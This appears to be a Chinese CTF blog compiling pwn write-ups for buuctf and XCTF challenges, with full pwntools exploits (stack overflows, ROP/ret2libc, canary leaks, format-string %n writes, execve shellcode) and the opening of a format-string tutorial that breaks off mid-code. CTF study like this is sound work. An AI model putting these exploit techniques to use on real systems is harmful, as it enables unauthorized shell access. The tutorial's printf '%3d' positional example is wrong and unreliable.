buuctf——pwn刷题之旅(持续更新)

[toc]

连上就有flag的pwn

1568305685314

RIP覆盖一下

1568307672397

IDA看一下:

1568307909466

典型的溢出,函数中有fun函数:

1568307994407

看一下偏移:

1568308011545

有一个需要注意的地方就是nc连上发现没有输出input,直接让我输入,所以exp改了一下。

exp:

from pwn import *

p = remote('pwn.buuoj.cn', 6001)
#p = process('../files/pwn1')

payload = 'a' * (0xf + 8) + p64(0x401186)
p.sendline(payload)
p.interactive()

得到flag:

1568308290836

ciscn_2019_c_1

还是个64位的ELF,IDA分析一下:

main函数里没有啥:

1568359070246

encrypt()函数里存在栈溢出:

1568359126837

由于程序中没有system和sh所以ROP攻击。

思路是通过栈溢出返回程序中的puts函数把gets函数的地址泄露出来,然后找到偏移地址,再调用system和/bin/sh来获得shell。

看一下s:

1568359326141

exp:

from pwn import *
from LibcSearcher import *

#p = process('../files/ciscn_2019_c_1')
p = remote('pwn.buuoj.cn', 20115)
e = ELF('../files/ciscn_2019_c_1')

start = 0x400B28
rdi_addr = 0x0000000000400c83

puts_plt = e.plt['puts']
gets_got = e.got['gets']

log.success('puts_plt => {}'.format(hex(puts_plt)))
log.success('gets_got => {}'.format(hex(gets_got)))

p.sendlineafter('choice!\n', '1')

payload1 = 'a' * (0x50 + 8)
payload1 += p64(rdi_addr) + p64(gets_got) + p64(puts_plt)
payload1 += p64(start)

p.sendline(payload1)

p.recvuntil('@')
p.recvline()
gets_leak = u64(p.recvline()[:-1].ljust(8, '\0'))
log.success('get_leak_addr => {}'.format(hex(gets_leak)))

libc = LibcSearcher('gets', gets_leak)
libc_base = gets_leak - libc.dump('gets')
sys_addr = libc_base + libc.dump('system')
bin_sh_addr = libc_base + libc.dump('str_bin_sh')
log.success('libc_base_addr => {}'.format(hex(libc_base)))
log.success('system_addr => {}'.format(hex(sys_addr)))
log.success('bin_sh_addr => {}'.format(hex(bin_sh_addr)))

p.sendlineafter('choice!\n', '1')

payload2 = 'a' *(0x50 + 8)
payload2 += p64(rdi_addr) + p64(bin_sh_addr) + p64(sys_addr)

p.sendline(payload2)
p.interactive()

运行得到flag:

1568359451505

warmup_csaw_2016

看一下源码:

1568359953444

很明显的栈溢出。程序中还有这个:

1568359977736

没啥说的了,直接上exp:

from pwn import *


p = remote('pwn.buuoj.cn', 20035)

payload = 'a' * (0x40 + 8)
payload += p64(0x40060d)

p.recvuntil('>')
p.sendline(payload)

p.interactive()

得到flag:

1568360050956

pwn1_sctf_2016

分析源码:

1568381486365

第13行发现传入的s被限制在了31个字符,没法溢出,但是接着看发现当输入I的时候,程序会把I变成you,这样一来原本一个字符就变成了三个字符,可以溢出了!

发现程序中有get_flag函数:

1568381665781

那么思路就是溢出让程序返回get_flag函数。

动态调试查看输入的起始地址为FFCD1D48(you是程序运行自己修改的):

1568381364714

程序返回地址存放的位置为FFCD1D90:

1568381400442

所以偏移量就是90-4C-4=0x40=64,那么就需要填充64个字节,所以构造21个I加一个A,exp如下:

from pwn import *

#p = process('../files/pwn1_sctf_2016')
p = remote('pwn.buuoj.cn',20086)
e = ELF('../files/pwn1_sctf_2016')

get_flag = e.symbols['get_flag']
log.success('get_flag_addr => {}'.format(hex(get_flag)))

payload = 'I' * 21 + 'A' + p32(get_flag)

p.sendline(payload)
print(p.recv())

得到flag:

1568382235211

ciscn_2019_en_1

和ciscn_2019_c_1一模一样,exp改个端口号就行了。

ciscn_2019_n_1

源码很简单:

1568388929535

就是一个简单的溢出让v2变成11.28125。v1是var_30,v2是var_4:

1568389165705

1568389212921

再看一下11.28125在程序中的表示:

1568389275163

也就是让v2变成41348000h,所以exp如下:

from pwn import *

#p = process('../files/ciscn_2019_n_1')
p = remote('pwn.buuoj.cn', 20137)

payload = '1' * 0x2c + p64(0x41348000)
p.recv()
p.sendline(payload)
p.interactive()

1568386840196

我去{{tuxue}},居然告诉我没有flag,可能是出题的时候环境配的有问题吧,或者是就是个坑。

不过没关系,那就ROP,具体没啥好说的和前几道题都差不多,,不多说了。

exp:

from pwn import *
from LibcSearcher import *


#p = process('../files/ciscn_2019_n_1')
p = remote('pwn.buuoj.cn', 20137)
e = ELF('../files/ciscn_2019_n_1')

rdi_addr = 0x0000000000400793
start = 0x4006DC

puts_plt = e.plt['puts']
gets_got = e.got['gets']
log.success('puts_plt => {}'.format(hex(puts_plt)))
log.success('gets_got => {}'.format(hex(gets_got)))

payload1 = 'a' * (0x30 + 8)
payload1 += p64(rdi_addr) + p64(gets_got) + p64(puts_plt)
payload1 += p64(start)

p.sendline(payload1)

p.recvuntil('11.28125\n')
gets_leak = u64(p.recvline()[:-1].ljust(8,'\0'))
log.success('gets_leak_addr => {}'.format(hex(gets_leak)))

libc = LibcSearcher('gets', gets_leak)
libc_base = gets_leak - libc.dump('gets')
sys_addr = libc_base + libc.dump('system')
bin_sh_addr = libc_base + libc.dump('str_bin_sh')
log.success('libc_base_addr => {}'.format(hex(libc_base)))
log.success('system_addr => {}'.format(hex(sys_addr)))
log.success('bin_sh_addr => {}'.format(hex(bin_sh_addr)))

p.recvline()

payload2 = 'a' * (0x30 + 8)
payload2 += p64(rdi_addr) + p64(bin_sh_addr) + p64(sys_addr)

p.sendline(payload2)

p.interactive()

取得shell,得到flag:

1568423814631

攻防世界pwn高手进阶(持续更新)

[toc]

dice_game

IDA看一下:

1567242345912

1567242499901

这个和新手训练的guess_num一样都是猜数字,buf溢出改seed。:不多说了。

唯一的问题是附件中给的libc.so.6我好像没法用,写的exp一直提示我Illegal instruction (core dumped),很迷。

exp如下:

from pwn import *
from ctypes import *

p = remote('111.198.29.45', 30940)
#p = process('../files/dice_game')
c = CDLL('libc.so.6')
print(c)
payload = 'a' * 0x40 + p64(1)
c.srand(1)
p.recvuntil('name:')
p.sendline(payload)
for i in range(50):
    p.recvuntil('point(1~6):')
    p.sendline(str(c.rand()%6+1))
p.interactive()

得到flag:

1567242784679

warmup

这个题没给附件……我看了看别人的wp的代码,就是一个很简单的溢出,cat flag函数都现成的。直接写exp就行了:

from pwn import *


p = remote('111.198.29.45', 41547)
payload = 'a' * (0x40 + 8) + p64(0x40060d)
p.recvuntil('>')
p.sendline(payload)
print(p.recv())

得到flag:

1567245274637

forgot

题目描述:福克斯最近玩弄有限状态自动机。在探索概念实现正则表达式使用FSA他想实现一个电子邮件地址验证。 最近,Lua开始骚扰福克斯。对此,福克斯向Lua挑战斗智斗勇。福克斯承诺要奖励Lua,如果她能到不可达状态在FSA他实施过渡。可以在这里访问复制。 运行服务hack.bckdr.in:8009

看一下源码:

2019-09-01_184730

for循环是判断输入字符串是否符合格式,例如sub_8048702(v2[i])就是判断首字母是否为小写字母或数字或特定字符:

1567335394443

第88行的代码是根据v14的值调用v3~v12中的一个函数(输出字符串)。例如v3:

1567335494006

该程序调用函数和参数都是根据偏移量来调用,

1567335649804

程序中有system函数,因此我们的思路就是通过栈溢出让程序执行system函数,那么我们要知道我们输入的字符串的位置。

观察汇编代码可以得到v2(我们输入的字符串)的地址为[esp+10h]

于是开始构造exp运行,构造的过程中我发现调用system之后system执行的命令就是我们输入的字符串:

1567339763954

所以可以直接输入/bin/sh,但是只输入/bin/sh不能达到栈溢出的目的,需要占位符。用 ; 来隔离后面的无用的占位符,确保命令能正常执行。

如果我们输入/bin/sh,那么程序在判断输入字符串是否符合格式的时候就会调用sub_8048618(),因此我们就要修改[esp+34h]的地址为system的地址。那么和我们的[esp+10h]之间的偏移量就是36,也就是我们需要输入36个字符。

得到exp如下:

from pwn import *


p = remote('111.198.29.45', 35636)
#p = process('../files/forgot')
e = ELF('../files/forgot')
sys = e.symbols['system']
payload = '/bin/sh' + ';' + 'w' * 28 + p32(sys)
p.recvuntil('name?\n')
p.recvuntil('>')
p.sendline('name')
p.recvuntil('validate\n')
p.recvuntil('>')
p.sendline(payload)
p.interactive()

得到flag:

1567340251686

stack2

程序是一个求平均数的软件,输入一个数组,可以查看当前数组、添加和修改数组中的数还有求平均数。

看一下源码:

1567597713534

发现在修改数的时候没有判断数组越界,所以可以构造栈溢出。

看一下程序中发现有hackme函数:

1567597827722

那么就是构造栈溢出让程序返回到hackhere。

我们在第60行下断点,动态调试一下:

1568275633125

此时堆栈如图,可以看到FF942C68是v13的起始地址。

1568275967093

继续调试,按5退出,观察函数调用情况:

1568276152606

可以看到退出时调用函数所在栈的位置是FF942CEC,那么我们就要修改FF942CEC的值,那就可以得到偏移量为FF942CEC-FF942C68=0x84。

exp:

from pwn import *


p = remote('111.198.29.45',57626)
e = ELF('../files/stack2')

p.sendlineafter('How many numbers you have:\n', '1')
p.sendlineafter('Give me your numbers\n', '1')

offset = 0x84

def sendaddr(offset,addr):
    p.recvuntil('5. exit')
    p.sendline('3')
    p.recv()
    p.sendline(str(offset))
    p.recv()
    p.sendline(str(addr))

sendaddr(offset, 0x9B)
sendaddr(offset + 1, 0x85)
sendaddr(offset + 2, 0x04)
sendaddr(offset + 3, 0x08)

p.recvuntil('5. exit')
p.sendline('5')

p.interactive()

运行发现错误:

1568299593922

就感觉/bash怪怪的,那看来得自己传参了。由于system传入sh也可以执行shell,所以我们直接使用程序中的现成的sh就可以了。

1568301479701

exp如下:

from pwn import *


p = remote('111.198.29.45',57626)
e = ELF('../files/stack2')

p.sendlineafter('How many numbers you have:\n', '1')
p.sendlineafter('Give me your numbers\n', '1')
sys_addr = e.symbols['system']
log.success('system_addr => {}'.format(hex(sys_addr)))

offset = 0x84

def sendaddr(offset,addr):
    p.recvuntil('5. exit')
    p.sendline('3')
    p.recv()
    p.sendline(str(offset))
    p.recv()
    p.sendline(str(addr))
#sys_addr
sendaddr(offset, 0x50)
sendaddr(offset + 1, 0x84)
sendaddr(offset + 2, 0x04)
sendaddr(offset + 3, 0x08)

offset += 8
#sh_addr
sendaddr(offset, 0x87)
sendaddr(offset + 1, 0x89)
sendaddr(offset + 2, 0x04)
sendaddr(offset + 3, 0x08)

p.recvuntil('5. exit')
p.sendline('5')

p.interactive()

获得shell,得到flag:

1568301778145

pwn-100

这是一个64位的ELF文件:

1568260260975

IDA看一下源码:

1568260146451

1568265875900

v1存在栈溢出漏洞。程序中没有system函数,没有/bin/sh,由于是64位程序,所以需要利用ROP来传参数,关于ROP的学习,推荐个大佬的博客:ROP学习:64位栈溢出

程序中有read,puts,所以思路是调用puts把read的绝对地址泄露出来然后找到libc版本和偏移量把system和/bin/sh的地址找到,再调用system,传入/bin/sh拿到shell。参数通过ROP方法传递。

首先寻找ROP:

1568261009433

由于我们要用的puts和system函数都只需要一个参数,所以只需要rdi就可以。pop rdi; ret 的地址为0x0000000000400763。

exp如下:

from pwn import *
from LibcSearcher import *

#p = process('../files/pwn-100')
p = remote('111.198.29.45', 30013)
e = ELF('../files/pwn-100')


vuln = 0x40068e #是sub_40068E()的地址
read_got = e.got['read']
puts_plt = e.plt['puts']
pop_rdi = 0x0000000000400763

log.success('read_got_addr => {}'.format(hex(read_got)))
log.success('puts_plt_addr => {}'.format(hex(puts_plt)))

payload1 = 'a' * 0x48 
payload1 += p64(pop_rdi) + p64(read_got) + p64(puts_plt) #把read_got传入rdi,然后调用puts,puts把read_got打印出来
payload1 += p64(vuln) #返回sub_40068E()函数准备第二次继续攻击
payload1 += 'a' * (200 - len(payload1)) #程序要求一次需要输入200个字符,所以最后填满

p.send(payload1)
p.recv()  #回显bye~
read_leak = u64(p.recv()[1:-1].ljust(8,'\0')) #得到read的绝对坐标
log.success('read_leak_addr => {}'.format(hex(read_leak)))


libc = LibcSearcher('read', read_leak)
libc_base = read_leak - libc.dump('read')
sys_addr = libc_base + libc.dump('system')
bin_sh_addr = libc_base + libc.dump('str_bin_sh')

print 'system_addr:', hex(sys_addr)
print 'bin_sh_addr:', hex(bin_sh_addr)

payload2 = 'a' * 0x48
payload2 += p64(pop_rdi) + p64(bin_sh_addr) + p64(sys_addr)  #system('/bin/sh')
payload2 += 'a' * (200 - len(payload2))

p.send(payload2)

p.interactive()

执行exp,选择libc版本选0,得到shell:

1568302057127

得到flag:

1568266254184

mary_morton

题目描述:非常简单的热身pwn

首先看一下源码:

1572066823941

1572066856025

可以看到我们可以选择栈溢出漏洞或者是格式化字符串漏洞。

首先看一下栈溢出漏洞:

1572066925488

buf是很典型的栈溢出。

再看一下格式化字符串漏洞:

1572066976502

也是很典型的格式化字符串漏洞。

程序中还有一个目标函数:

1572067033370

那么思路很明确,就是栈溢出让程序返回到cat_flag(名字是我改的)得到flag就行了。但是这个程序有个问题,它开启了canary保护。

1572067142663

所以我们没办法直接进行栈溢出,否则就会报错,因此我们要绕过canary保护,这方面知识可以看CTFwiki

要绕过canary保护,其中一种方式是知道canary是多少,程序中可以看到canary的偏移量是0x90-8=0x88:

1572067798113

1572067814376

那么思路就是我们通过格式化字符串漏洞得知canary的值然后在栈溢出的时候把canary写进去,这样就可以绕过canary保护。

要想知道canary的值,就得知道canary在内存中的地址,我们通过代码可以知道格式化字符串的偏移量是6,而我们输入参数(buf)和canary之间的偏移为0x90 – 8 = 0x88字节,八个字节为一组,0x88 / 8 = 17,也就是说格式化字符串到canary的偏移是17+6=23,那么我们用%23$p就可以看到偏移量为23的内存的内容了。这样就可以得到canary。后面就是简单的栈溢出了。

构造exp如下:

from pwn import *


p = remote('111.198.29.45',58615)
#p = process('../files/mary_morton')
e = ELF('../files/mary_morton')

get_flag = 0x4008da
format_offset = 6

payload = "%23$p"

p.recvuntil('battle')
p.sendline('2')

p.sendline(payload)
p.recvuntil('0x')
canary = int(p.recv(16),16)

p.recvuntil('battle')
p.sendline('1')

payload2 = 'a' * 0x88 + p64(canary) + 'a' * 8 + p64(get_flag)

p.sendline(payload2)

p.interactive()

得到flag:

1572067848834

monkey

这个题给了个js,打开之后是一个js shell,由于我不会js,我刚开始看的时候毫无头绪,还是用传统的方法打开IDA分析,啥也没看出来。后来发现这个题其实如果你知道js相关的知识就很简单了,js有个os.system函数,直接os.system(“/bin/sh”)就可以获取shell了。

image-20191030110610797

pwn1

image-20191102091949539

先运行看看:

image-20191102092031860

IDA打开看一下源码:

image-20191102091742929

可以看到一个典型的栈溢出,要构造的肯定是&s了。这个题没有现成的获取flag目标函数,因此我们就需要ROP。同时这个题有canary,因此我们需要绕过canary。

看一下&s:

image-20191102160837726

image-20191102160909600

var_8就是我们要获取的canary。

main函数的起始地址是0x400908。

那么思路就是首先通过puts得到canary,然后通过puts爆出read的真实地址,找到libc,然后在用libc中的system和/bin/sh反弹shell。要注意的一点就是canary的最后两位不是\x0a,而是\x00,因为我们在构造的时候输入0x88个a时还输入了一个回车,这个回车把canary最后的\x00覆盖成了\x0a。正是这个覆盖才让puts能输出canary。

64位通过rdi传参,首先获得rdi地址:

image-20191102160330688

exp如下:

from pwn import *
from LibcSearcher import *

#p = process('../files/babystack')
p = remote('111.198.29.45', 56221)
e = ELF('../files/babystack')

rdi_addr = 0x0000000000400a93
start = 0x400908

puts_plt = e.plt['puts']
read_got = e.got['read']
log.success('puts_plt_addr => {}'.format(hex(puts_plt)))
log.success('read_got_addr => {}'.format(hex(read_got)))

#found canary
p.sendlineafter('>> ','1')
payload = 'a' * 0x88
p.sendline(payload)
p.sendlineafter('>> ','2')
p.recvuntil('a' * 0x88 + '\n')
canary = u64(p.recv(7).rjust(8,'\x00'))
log.success('canary => {}'.format(hex(canary)))

#found real_read_address
p.sendlineafter('>> ','1')
payload = 'a' * 0x88 + p64(canary) + 'a' * 8 + p64(rdi_addr) + p64(read_got) + p64(puts_plt)
payload += p64(start)
p.sendline(payload)
p.sendlineafter('>> ','3')
real_read = u64(p.recv(8).ljust(8,'\x00'))
log.success('real_read_address => {}'.format(hex(real_read)))

#ROP
libc = LibcSearcher('read',real_read)
libc_base = real_read - libc.dump('read')
sys_addr = libc_base + libc.dump('system')
bin_sh_addr = libc_base + libc.dump('str_bin_sh')
log.success('libc_base_addr => {}'.format(hex(libc_base)))
log.success('system_addr => {}'.format(hex(sys_addr)))
log.success('bin_sh_addr => {}'.format(hex(bin_sh_addr)))

#get_shell
p.sendlineafter('>> ','1')
payload = 'a' * 0x88 + p64(canary) + 'a' * 8 + p64(rdi_addr) + p64(bin_sh_addr) + p64(sys_addr)
p.sendline(payload)
p.sendlineafter('>> ','3')

p.interactive()

运行,选择题目给的libc,得到flag:

image-20191102160654357

攻防世界pwn新手训练

[toc]

[begin]小[/begin]白刚开始接触pwn,做点新手训练了解一下pwn是干啥的。一开始啥漏洞都不知道,很多都是看别人的wp才知道要干嘛,比如才知道原来printf函数也是有漏洞的。 把这些题的思路和做法记录下来,不然我这鱼的记忆肯定过几天就又忘了{{xiaoku}}

get_shell

题目描述:运行就能拿到shell呢,真的

如题,nc连接,连接直接就是shell,直接cat flag就可以了。

CGfsb

题目描述:菜鸡面对着pringf发愁,他不知道prinf除了输出还有什么作用

首先看源码:

1566380481224

可以看到第23行有个printf,那么就可以知道这个题考查格式化字符串漏洞,关于这个漏洞可以看我的这篇文章《一篇文章搞懂格式化字符串漏洞》

源码要求pwnme为8,那么就是要我们修改pwnme的值为8,看pwnme的位置:

1566380588578

pwnme在_bss端,说明它是一个全局变量,那我们要修改它,就要利用格式化字符串漏洞中的%n,所以首先找偏移量。

1566380741629

61616161就是我们要找的(a的十六进制ASCII码),可以看到偏移量是10。

我们的思路就是把这个地方改成pwnme的地址(0x0804A068),然后用%n对pwnme赋值为8(printf输出8个字符)。

构造exp:

from pwn import *


p = remote('111.198.29.45', 39132)
payload = p32(0x0804A068) + 'aaaa%10$n' #注意payload的顺序不能变
p.recvuntil('please tell me your name:\n')
p.sendline('aaaa')
p.recvuntil('leave your message please:\n')
p.sendline(payload)
print(p.recv())
print(p.recv())

得到flag:

1566381839784

when_did_you_born

题目描述:只要知道你的年龄就能获得flag,但菜鸡发现无论如何输入都不正确,怎么办

首先分析源码:

1566381977264

这是个栈溢出的题,主要是要让v5的值为1926,我们可以利用的值是v4,看一下这两个值的位置:

1566385355677

我们可以看到v4占了8个字节,下面就是v5,所以我们要让v4溢出来修改v5为1926。

构造exp:

from pwn import *


p = remote('111.198.29.45', 58195)
payload = 'a'*8 + p64(1926)
p.recvuntil("What's Your Birth?\n")
p.sendline("1999")
p.recvuntil("What's Your Name?\n")
p.sendline(payload)
print(p.recv())
print(p.recv())

得到flag:

1566386193917

hello_pwn

题目描述:pwn!,segment fault!菜鸡陷入了深思

分析源码:

1566386933204

第9行执行的就是cat flag,所以我们就要dword_60106C为1853186401,我们可以修改的是unk_601068,看一下它们的位置:

1566387092548

和上一题一样这也是个栈溢出,直接写exp了:

from pwn import *


p = remote('111.198.29.45', 49767)
payload = 'aaaa' + p64(1853186401)
p.recvuntil('lets get helloworld for bof\n')
p.sendline(payload)
p.interactive()

得到flag:

1566387363510

level0

题目描述:菜鸡了解了什么是溢出,他相信自己能得到shell

先看源码:

1566387434974

main函数没什么好看的,看vulnerable_function():

1566387511798

好像没啥啊,但这时候我注意到其他的函数:

1566387903715

看到了一个callsystem函数,地址为0x400596。看一看:

1566387945520

哦吼,要是能让程序执行这个函数,那就很不错了。

所以我们要在函数调用返回的时候修改eip,进行rop攻击。

看一下buf的位置,顺便看一下函数返回的位置,ida告诉我们r代表的就是return address:

1566388464692

1566388494019

可以看到buf和r之间偏移量为0x88。

exp如下:

from pwn import *


p = remote('111.198.29.45', 59164)
payload = 'a' * 0x88 + p64(0x400596)
p.recvuntil("Hello, World\n")
p.sendline(payload)
p.interactive()

获取到shell,得到flag:

1566388809423

level2

题目描述:菜鸡请教大神如何获得flag,大神告诉他‘使用`面向返回的编程`(ROP)就可以了’

先看源码:

1566389051208

和上一题一样,主函数还是啥都没有,看别的函数:

1566389080262

这次我们看到有程序中直接就有系统调用的函数system(),那如果里面的参数是“/bin/sh”就好了,找一下程序中有没有我们想要的“/bin/sh”。搜索方式为IDA里依次点击Search -> text -> 输入你要搜索的字符串 -> ok

1566389357722

找到了,那么我们思路是把函数返回的地址改为上一行的system(),地址为0x0804845c,再把参数变成我们需要的“/bin/sh”。

看一下偏移量:

1566390216756

1566390240220

buf到r的距离是0x88+4。

写exp:

from pwn import *


p = remote('111.198.29.45', 38299)
payload = 'a' * (0x88 + 4) + p32(0x0804845c) + p32(0x0804A024)
#也可以直接找system函数的位置:
#e = ELF('../files/level2')
#payload = 'a' * (0x88 + 4) + p32(e.symbols['system']) + 'a' * 4 +  p32(0x0804A024)
p.recvuntil("Input:\n")
p.sendline(payload)
p.interactive()

拿到shell,得到flag:

1566389962549

guess_num

题目描述:菜鸡在玩一个猜数字的游戏,但他无论如何都银不了,你能帮助他么

先看源码:

1566390387211

发现要猜对十次数字就可以拿到flag(sub_C3E就是cat flag)。而数字是随机数。这里有一个小知识点,实际上所谓的“随机”是“伪随机”,是根据一个数(我们可以称它为种子,也就是代码中的seed)为基准以某个递推公式推算出来的一系列数。所以说只要知道了seed,那么生成的数我们也就能知道了。

因此,思路是要能知道seed的值,我们看第19行的seed是什么:

1566390734126

看来我们是不可能知道seed是什么了,那就只能我们自己修改seed,同样是栈溢出,我们可以控制的是v9,看一下v9:

1566390934659

v9就是var_30,我们可以看到偏移量为0x20。所以我们修改seed的值,然后我们就知道了每次的数是什么,猜对10次得到flag。

写exp:

from pwn import *
from ctypes import *

p = remote('111.198.29.45', 41331)
payload = 'a' * 0x20 + p64(1)
c = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
c.srand(1)
p.recvuntil('name:') #注意如果输出的方法是printf,那么如果源码中没有\n那就不要在exp中写成name:\n,否则会出现问题
p.sendline(payload)
for i in range(10):
    p.recvuntil("number:") 
    p.sendline(str(c.rand() % 6 + 1))
p.interactive()

得到flag:

1566392280703

cgpwn2

题目描述:菜鸡认为自己需要一个字符串

首先分析源码:

1566450714306

啥也没有,看一下hello函数:

1566450755009

用户可以控制的是name和s,这应该也是栈溢出。观察到程序中有个pwn函数(pwn中的system地址是0x804855A),看一下:

1566450870135

参数不是/bin/sh,找了一下程序里也没有。

看一下name,发现是全局变量:

1566452807866

那就是把name变成/bin/sh然后直接传到system函数里。

exp如下:

from pwn import *


p = remote('111.198.29.45', 55008)
payload = 'a' * (0x26 + 4) + p32(0x804855A) + p32(0x0804A080)
#或者直接找system函数的位置
#e = ELF('../files/cgpwn2')
#payload = 'a' * (0x26 + 4) + p32(e.symbols['system']) + 'a' * 4 + p32(0x0804A080)
p.recvuntil('name\n')
p.sendline('/bin/sh\x00')
p.recvuntil('here:\n')
p.sendline(payload)
p.interactive()

取得shell,得到flag:

1566450036179

string

题目描述:菜鸡遇到了Dragon,有一位巫师可以帮助他逃离危险,但似乎需要一些要求

先看主函数:

1566824006101

sub_400D72:

1566824068004

sub_400BB9:

1566824117464

sub_400CA6:

1566824219571

我们分析源码,首先看到sub_400CA6的第17行,

void (__fastcall *)(_QWORD, void *))v1)(0LL, v1);

记住只要看见这种句子,就知道是把v1强制转化成一个函数指针,然后调用这个函数,那么我们就可以利用前面的read,把我们想执行的命令(shellcode)写入v1中,程序就可以执行我们的shellcode。

那么想要能输入v1,我们就要让第12句的if语句成真,也就是*a1 == a1[1]。

往上看发现a1是函数传入的参数,再往回看,一直追溯到主函数,发现这个a1实际上是v4,而v4和v3相等,也就是说现在*a1是68,a1[1]是85,我们的目标变成要让*a1为85。

再看到sub_400BB9,发现在第23行存在格式化字符串漏洞,那么就很明确了,用%n赋值。那么*a1的地址是多少呢?发现secret就是*a1的地址。

所以攻击思路如下:

通过格式化字符串漏洞赋值*a1为85,使if条件成真,执行我们传入的shellcode拿到shell。

构造exp:

from pwn import *


p = remote('111.198.29.45', 40437)
p.recvuntil('secret[0] is ')
addr = int(p.recvuntil('\n'), 16)
p.sendlineafter('be\n', 'aaaaa')
p.sendlineafter('up\n', 'east')
p.sendlineafter('leave(0)?:\n', '1')
p.sendlineafter("address'\n", str(addr))
p.sendlineafter("is:\n", "%85c%7$n")
shellcode= "\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05"
p.sendlineafter("SPELL\n", shellcode)
p.interactive()

int_overflow

题目描述:菜鸡感觉这题似乎没有办法溢出,真的么?

先看一下保护情况:

1566894632726

看主函数:

1566894664678

没什么东西,看login():

1566894731151

好像也没啥东西,接着看check_passwd():

1566894783263

strlen存在溢出漏洞,因为32位程序中strlen把结果放在al中,而al是八位的,所以能存的最大值为255(1111 1111),如果超过255,就会导致整形溢出。例如261(1 0000 0101‬)最终输出的结果就是(0000 0101)。

接着看程序,发现有一个what_is_this函数:

1566895048032

那么就是要通过strlen构造栈溢出让程序返回到这个函数,但是要求输入的s长度在(3,8]之间。所以通过整数溢出来越过这个限制。

看一下s在内存中的位置:

1566896638685

构造exp如下:

from pwn import *


p = remote('111.198.29.45', 32379)
payload = 'a' * 0x18 + p32(0x0804868B)
payload += 'a' * (261-int(len(payload)))
p.sendlineafter('choice:', '1')
p.recvuntil("username:\n")
p.sendline('aaaa')
p.recvuntil('passwd:\n')
p.sendline(payload)
print(p.recv())
print(p.recv())

得到flag:

1566896884187

level3

题目描述:libc!libc!这次没有system,你能帮菜鸡解决这个难题么?

先看源码:

1567078058878

1567078099146

首先想到read构造栈溢出返回system地址,参数传入“/bin/sh”地址。但是程序中没有system和/bin/sh。

虽然程序中没有直接给出,但是我们可以通过return2libc攻击间接得到。因为几乎所有程序都会运行libc库函数,而libc库中就有system和/bin/sh,libc库中的函数之间的偏移量都是固定的,只要知道了当前程序运行的libc版本和一个libc函数运行时在内存中的绝对地址(例如read或write),就可以推出system和/bin/sh的地址,也就可以通过栈溢出返回到system的地址。

那么read或write的绝对地址是啥?为啥地址不是固定的?可以看看这篇文章:《聊聊Linux动态链接中的PLT和GOT(1)——何谓PLT与GOT》,大佬写的非常清楚。

所以攻击思路就是先利用程序的write函数输出read运行时候的绝对地址,再通过read找出libc的版本,然后根据偏移量找出system和/bin/sh的地址,再调用vulnerable_function进行栈溢出返回system()。

exp如下:

from pwn import *
from LibcSearcher import *


p = remote('111.198.29.45', 51525)
e = ELF('../files/level3')

read_got = e.got['read']
write_plt = e.plt['write']
vuln = e.symbols['vulnerable_function']

#通过write回显read在内存中的绝对地址
#vuln为后面重新返回到vuln函数进行栈溢出做准备。
#函数调用顺序:func1_addr+func2_addr+...+func1_para+func2_para+...
payload1 = 'a' * (0x88 + 4) + p32(write_plt) + p32(vuln) + p32(1) + p32(read_got) + p32(4)

p.recv()
p.sendline(payload1)
read_leak = u32(p.recv())

#通过read的绝对地址查询libc版本,得到system和/bin/sh的地址
libc = LibcSearcher('read',read_leak)
libc_base = read_leak - libc.dump('read')
sys_addr = libc_base + libc.dump('system')
bin_sh = libc_base + libc.dump('str_bin_sh')

payload2 = 'a' * (0x88 + 4) + p32(sys_addr) + p32(4) + p32(bin_sh)

p.recv()
p.sendline(payload2)
p.interactive()

运行exp,如图,由于程序不确定libc版本,需要手动选择,这里我们选择libc版本选0(我也不知道选啥所以选第一个),得到shell,取得flag。

1567087020922

一篇文章搞懂格式化字符串漏洞

[toc]

0x00 序言

[begin]刚[/begin]学pwn,做了两道攻防世界的pwn新手训练,真的是啥也不会,第一道题是连上就有flag我都不知道咋连,就菜到这种地步。一个格式化字符串漏洞看了一天。看了很多博客,最后终于弄明白了,感觉很多博客都对新手不是那么友好,刚学完,总结梳理一下,便于复习。也希望自己写的能帮到其他像我一样刚开始学的小白更快更清楚的明白格式化字符串漏洞。

0x01 格式化字符串

格式化字符串漏洞针对的是printf()函数,所以有必要先深入了解一下printf()函数和什么是格式化字符串。

首先让我们来看一下格式化字符串。

学过C的都知道printf(),在输出某个变量的时候我们一般会这样写:

int a = 100;
printf("%d",a);
// 100

这里的%d,实际上就是所谓的格式化字符串,维基百科是这样定义的:

格式化字符串(英语:format string),是一些程序设计语言在格式化输出API函数中用于指定输出参数的格式与相对位置的字符串参数,例如C、C++等程序设计语言的printf类函数,其中的转换说明(conversion specification)用于把随后对应的0个或多个函数参数转换为相应的格式输出;格式化字符串中转换说明以外的其它字符原样输出。

在我理解,就是你规定要输出的字符串的格式和位置,比如%d就是十进制整数格式,%s就是字符串格式,%x就是十六进制数格式等等。

再比如:

printf("Hello, %s", "Winny");
// Hello, Winny

%s告诉程序:“你应该在‘Hello, ’后面按照字符串格式来输出这个参数!”然后程序就乖乖的按照格式化字符串的要求输出了这个参数。这就是格式化字符串的作用。

比较常见和基本的格式化字符串有这么几个:

字符描述
%d输出10进制整数
%c输出字符
%s输出内存中的字符串,内存中存的是字符串所在的地址
%x输出十六进制数据
%p输出十六进制数据,区别是有前缀“0x”,实际上就是输出个指针,所以32位输出4字节,64位输出8字节
%n将printf已经打印的字符个数赋值给指定的内存地址中

实际上,这只是最简单的用法,格式化占位符的语法是:

%[parameter][flags][field width][.precision][length]type

d、c、s、x、p、n这些都是type。flags、field width、.precision、length这些不是很重要,这里就不说了。有兴趣可以在维基百科上看,这里说一下parameter。

Parameter可以忽略,也可以是:

字符描述
n$输出第n个参数

比如看下面的代码:

printf("the third is %3d, the first is %1d",1,2,3,4,5,6);
// the third is 3, the first is 1

可以看到,程序输出了第三个和第一个参数。至于n$有什么用,后面就会讲到。

回到上面的格式化字符串,最后的%n可能有的人看完描述觉得有点蒙,咱来举个栗子。在看代码之前,先插播一下,由于这个漏洞windows好像是有保护机制的,所以为了演示我所有的代码都在ubuntu上运行,同时编译时候按32位编译(我的ubuntu是64位的)。

编译命令为:

gcc -m32 test.c -o test

其中-m32就是按32位编译,要想在ubuntu上用-m32,先安装以下的库:

sudo apt-get install build-essential module-assistant
sudo apt-get install gcc-multilib g++-multilib

运行编译好的文件就在当前文件夹下输入以下命令:

./test

好,知道了如何在linux系统下编译运行文件,看下面的代码:

#include <stdio.h>

void main()
{
    int s = 0;
